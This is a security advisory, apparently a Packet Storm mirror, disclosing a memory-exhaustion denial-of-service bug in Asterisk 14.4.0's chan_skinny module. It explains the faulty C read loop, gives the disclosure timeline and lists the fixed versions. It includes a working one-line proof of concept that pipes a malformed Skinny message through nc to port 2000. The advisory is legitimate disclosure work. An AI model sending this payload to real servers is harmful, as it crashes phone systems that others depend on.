what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Asterisk 14.4.0 Skinny Denial Of Service

Asterisk 14.4.0 Skinny Denial Of Service
Posted May 22, 2017
Authored by Sandro Gauci, Alfred Farrugia

Asterisk version 14.4.0 with chan_skinny enabled suffers from a memory exhaustion vulnerability that can lead to a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | f873e04bcb0eecc9597ab97c172b350143d8b4bc7a90a33fabc8192c71a4c519

Asterisk 14.4.0 Skinny Denial Of Service

Change Mirror Download
# Asterisk Skinny memory exhaustion vulnerability leads to DoS

- Authors:
- Alfred Farrugia <alfred@enablesecurity.com>
- Sandro Gauci <sandro@enablesecurity.com>
- Vulnerable version: Asterisk 14.4.0 with `chan_skinny` enabled
- References: AST-2017-004
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-03-asterisk-chan-skinny-crash>
- Vendor Advisory:
<http://downloads.asterisk.org/pub/security/AST-2017-004.html>
- Timeline:
- Report date: 2017-04-13
- Digium confirmed issue: 2017-04-13
- Digium patch and advisory: 2017-05-19
- Enable Security advisory: 2017-05-23

## Description

Sending one malformed Skinny message to port 2000 will exhaust
Asterisk's memory resulting in a crash.

## Impact

Abuse of this issue allows attackers to crash Asterisk when Skinny is
exposed to attackers.

## How to reproduce the issue

Start Asterisk and make sure the `chan_skinny` module is loaded. Then
execute:

printf
"\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39"
| nc localhost 2000

After a few seconds Asterisk will crash since it will be using all of
the available memory. Different malformed strings will crash the server
faster or slower depending on the amount by which `req->data` is
extended.


The malformed message will throw the following errors in Asterisk:

[Apr 6 09:35:26] WARNING[6893]: chan_skinny.c:7587
skinny_session: Partial data received, waiting (35 bytes read of
52)

while it will loop forever. This is due to the following code:

```c
while (1) {
if ((res = read(s->fd, ((char*)&req->data)+bytesread,
dlen-bytesread)) < 0) {
ast_log(LOG_WARNING, "Data read() returned error: %s\n",
strerror(errno));
break;
}
bytesread += res;
if (bytesread >= dlen) {
if (res < bytesread) {
ast_log(LOG_WARNING, "Rest of partial data
received.\n");
}
if (bytesread > dlen) {
ast_log(LOG_WARNING, "Client sent wrong amount
of data (%d), expected (%d).\n", bytesread,
dlen);
res = -1;
}
break;
}

ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes
read of %d)\n", bytesread, dlen);
if (sched_yield() < 0) {
ast_log(LOG_WARNING, "Data yield() returned error:
%s\n", strerror(errno));
res = -1;
break;
}
}
```

The reason appears to be that `res` always returns 0 so `bytesread` will
not grow and the loop never breaks. However `req->data` will continue to
expand until all the memory is exhausted.

This issue was found through basic manual testing, before attempting to
start fuzzing `chan_skinny`.

![Memory usage while Asterisk receives a malformed skinny
message](mem-graph.png)

## Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or
13.13-cert4. Enable Security highly recommends disabling this module.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information
Security services, including Penetration Testing, Research and
Development, to help protect client networks and applications against
online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There
are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.

Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close